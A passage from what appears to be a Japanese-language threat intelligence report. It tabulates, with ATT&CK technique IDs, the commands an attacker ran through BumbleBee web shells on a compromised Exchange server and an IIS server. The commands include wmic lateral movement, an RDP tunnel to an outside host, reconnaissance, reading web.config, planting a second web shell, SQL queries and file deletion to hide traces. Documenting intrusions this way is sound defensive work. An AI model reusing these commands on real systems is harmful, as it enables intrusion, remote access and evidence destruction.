15:55:14 | wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8084:0.0.0.0:3389 -l bor -pw 123321 -P 443” | T1047, T1572, T1021.001 |
15:56:55 | del \<redacted IP #3>\C$:\windows\temp\RTQ.exe | T1070.004, T1021.002 |
15:57:03 | del \<redacted IP #3>\C$\windows\temp\RTQ.exe | T1070.004, T1021.002 |
15:57:10 | del \<redacted IP #3>\C$\windows\temp\RTQ.exe /F | T1070.004, T1021.002 |
15:58:00 | wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c del c:\windows\temp\RTQ.exe /F” | T1047, T1070.004 |
15:58:05 | wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c del c:\windows\temp\RTQ.exe” | T1047, T1070.004 |
15:58:19 | dir \<redacted IP #3>\C$:\windows\temp\*.exe | T1083, T1021.002 |
15:58:25 | dir \<redacted IP #3>\C$\windows\temp\*.exe | T1083, T1021.002 |
15:58:38 | dir \<redacted IP #3>\C$\windows\temp\r.txt | T1083, T1021.002 |
15:58:43 | del \<redacted IP #3>\C$\windows\temp\r.txt | T1070.004, T1021.002 |
15:59:25 | wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c tasklist > C:\windows\temp\r.txt” | T1047 |
15:59:29 | type \<redacted IP #3>\C$\windows\temp\r.txt | T1039, T1021.002 |
15:59:48 | wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c taskkill /IM “RTQ.exe” /F” | T1047 |
15:59:55 | dir c:\windows\temp\*.exe | T1083 |
15:59:58 | dir \<redacted IP #3>\C$:\windows\temp\*.exe | T1083, T1021.002 |
16:00:04 | dir \<redacted IP #3>\C$\windows\temp\*.exe | T1083, T1021.002 |
16:00:09 | del \<redacted IP #3>\C$\windows\temp\*.exe | T1083, T1021.002 |
16:00:14 | dir \<redacted IP #3>\C$\windows\temp\*.exe | T1083, T1021.002 |
16:00:24 | del \<redacted IP #3>\C$\windows\temp\r.txt | T1070.004, T1021.002 |
16:00:29 | net use * /DELETE /y | T1070.004, T1021.002 |
16:02:48 | powershell -c “Test-NetConnection -ComputerName <redacted IP #2> -Port 80 -InformationLevel “Detailed” | T1046, T1059.001 |
16:04:36 | powershell -c “Test-NetConnection -ComputerName <redacted IP #2> -Port 3389 -InformationLevel “Detailed” | T1046, T1059.001 |
16:07:23 | powershell -c “Test-NetConnection -ComputerName <redacted IP #2> -Port 389 -InformationLevel “Detailed” | T1046, T1059.001 |
16:07:55 | quser /server:<redacted IP #1> | T1087 |
16:08:42 | echo y | c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8081:<redacted IP #1>:3389 -l bor -pw 123321 -P 443 | T1572, T1021.001 |
16:09:03 | wmic /node:”127.0.0.1″ /user:administrator /PASSWORD:”<redacted password #2>” process call create “cmd.exe /c whoami” | T1047, T1033 |
16:09:15 | ipconfig/all | T1016 |
16:09:35 | wmic /node:”Exchange” /user:administrator /PASSWORD:”<redacted password #2>” process call create “cmd.exe /c whoami” | T1047, T1033 |
16:10:35 | net use \<redacted IP #1>\C$ /user:<redacted domain>\<redacted username #2> <redacted password #1> | T1021.002 |
16:10:45 | quser /server:<redacted IP #4> | T1087 |
16:13:17 | ipconfig/all | T1016 |
16:13:27 | wmic /node:”<redacted IP #1>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c c:\windows\temp\RTQ.exe whoami” | T1047, T1033 |
16:14:20 | type \<redacted IP #1>\C$\windows\temp\w.txt | T1039, T1021.002 |
16:14:30 | dir \<redacted IP #1>\C$\windows\temp\*.txt | T1083, T1021.002 |
16:14:56 | wmic /node:”<redacted IP #1>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c tasklist > c:\windows\temp\ww.txt” | T1047 |
16:15:28 | dir \<redacted IP #1>\c$\windows\temp\*txt | T1083, T1021.002 |
16:15:36 | type \<redacted IP #1>\c$\windows\temp\ww.txt | T1039, T1021.002 |
16:17:54 | powershell -c Test-NetConnection -ComputerName <redacted IP #1> -Port 3389 | T1046, T1059.001 |
16:19:28 | powershell -c Test-NetConnection -ComputerName <redacted IP #2> -Port 3389 | T1046, T1059.001 |
16:19:32 | wmic /node:”<redacted IP #1>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd /c powershell -c Test-NetConnection -ComputerName <redacted IP #2> -Port 3389 > c:\windows\temp\r.txt” | T1046, T1047, T1059.001, T1021.001 |
16:20:00 | type \<redacted IP #1>\C$\windows\temp\r.txt | T1039, T1021.002 |
16:20:34 | ping -n 1 -a <redacted IP #2> | T1018 |
16:21:29 | wmic /node:”<redacted IP #2>” /user:administrator /PASSWORD:”<redacted password #2>” process call create “cmd.exe /c whoami” | T1047, T1033 |
16:22:06 | wmic /node:”<redacted IP #2>” /user:administrator /PASSWORD:”<redacted password #2>” process call create “cmd.exe /c whoami” | T1047, T1033 |
16:22:59 | net use | T1021.002 |
16:23:07 | dir \<redacted IP #1>\C$\windows\temp\*.txt | T1083, T1021.002 |
16:23:16 | type \<redacted IP #1>\C$\windows\temp\teredo.txt | T1039, T1021.002 |
16:23:27 | del \<redacted IP #1>\C$\windows\temp\ww.txt | T1070.004, T1021.002 |
16:23:29 | del \<redacted IP #1>\C$\windows\temp\r.txt | T1070.004, T1021.002 |
16:23:43 | net use * /DELETE /y | T1070.004, T1021.002 |
17:21:19 | del owafont_ja.aspx /F | T1505.003, T1070.004 |
表2 侵害されたExchangeサーバーでBumbleBee Webシェルを使用して攻撃者が実行したコマンド
IIS WebサーバーでBumbleBeeを使用して実行されたコマンド
時刻 | Webシェルのファイル名 | コマンド | ATT&CK TIDs |
9/10/20 20:47:36 | ShowDoc.aspx | hostname & whoami & ipconfig/all & route print & arp -a | T1082, |
9/10/20 20:48:03 | ShowDoc.aspx | ping -n 1 -a <redacted IP> | T1018 |
9/10/20 20:48:20 | ShowDoc.aspx | ping -n 1 -a <redacted domain> | T1018 |
9/10/20 20:48:29 | ShowDoc.aspx | net users /domain | T1087.002 |
9/10/20 20:48:33 | ShowDoc.aspx | ipconfig/all | T1016 |
9/10/20 20:49:19 | ShowDoc.aspx | echo %USERDOMAIN% | T1016 |
9/10/20 20:49:27 | ShowDoc.aspx | net users /domain | T1087.002 |
9/10/20 20:49:35 | ShowDoc.aspx | net users | T1087.001 |
9/10/20 20:49:44 | ShowDoc.aspx | net localgroup administrators | T1087.001 |
9/10/20 20:50:16 | ShowDoc.aspx | net view | T1135 |
9/10/20 20:50:21 | ShowDoc.aspx | type ..\..\web.config | T1005 |
9/10/20 20:50:40 | ShowDoc.aspx | ** Uploads cq.aspx webshell ** | T1505.003 |
9/10/20 20:51:16 | cq.aspx | powershell -C “$conn=new-object System.Data.SqlClient.SQLConnection(“””<redacted SQL connection>”””);Try { $conn.Open(); }Catch { continue; }$cmd = new-object System.Data.SqlClient.SqlCommand(“””select @@version;”””,$conn);$ds=New-Object system.Data.DataSet;$da=New-Object system.Data.SqlClient.SqlDataAdapter($cmd);[void]$da.fill($ds);$ds.Tables[0];$conn.Close();” | T1059.001, |
9/10/20 20:51:37 | cq.aspx | powershell -C “$conn=new-object System.Data.SqlClient.SQLConnection(“””<redacted SQL connection>”””);Try { $conn.Open(); }Catch { continue; }$cmd = new-object System.Data.SqlClient.SqlCommand(“””<redacted SQL query>”””,$conn);$ds=New-Object system.Data.DataSet;$da=New-Object system.Data.SqlClient.SqlDataAdapter($cmd);[void]$da.fill($ds);$ds.Tables[0];$conn.Close();” | T1059.001,T1213 |
9/10/20 20:51:45 | cq.aspx | powershell -C “$conn=new-object System.Data.SqlClient.SQLConnection(“””<redacted SQL connection>”””);Try { $conn.Open(); }Catch { continue; }$cmd = new-object System.Data.SqlClient.SqlCommand(“””<redacted SQL query>”””,$conn);$ds=New-Object system.Data.DataSet;$da=New-Object system.Data.SqlClient.SqlDataAdapter($cmd);[void]$da.fill($ds);$ds.Tables[0];$conn.Close();” | T1059.001,T1213 |
9/10/20 20:52:27 | ShowDoc.aspx | del cq.aspx | T1070.004 |
表3 2つ目のクウェート組織でホストされていたBumbleBee Webシェルを使用して攻撃者が実行したコマンド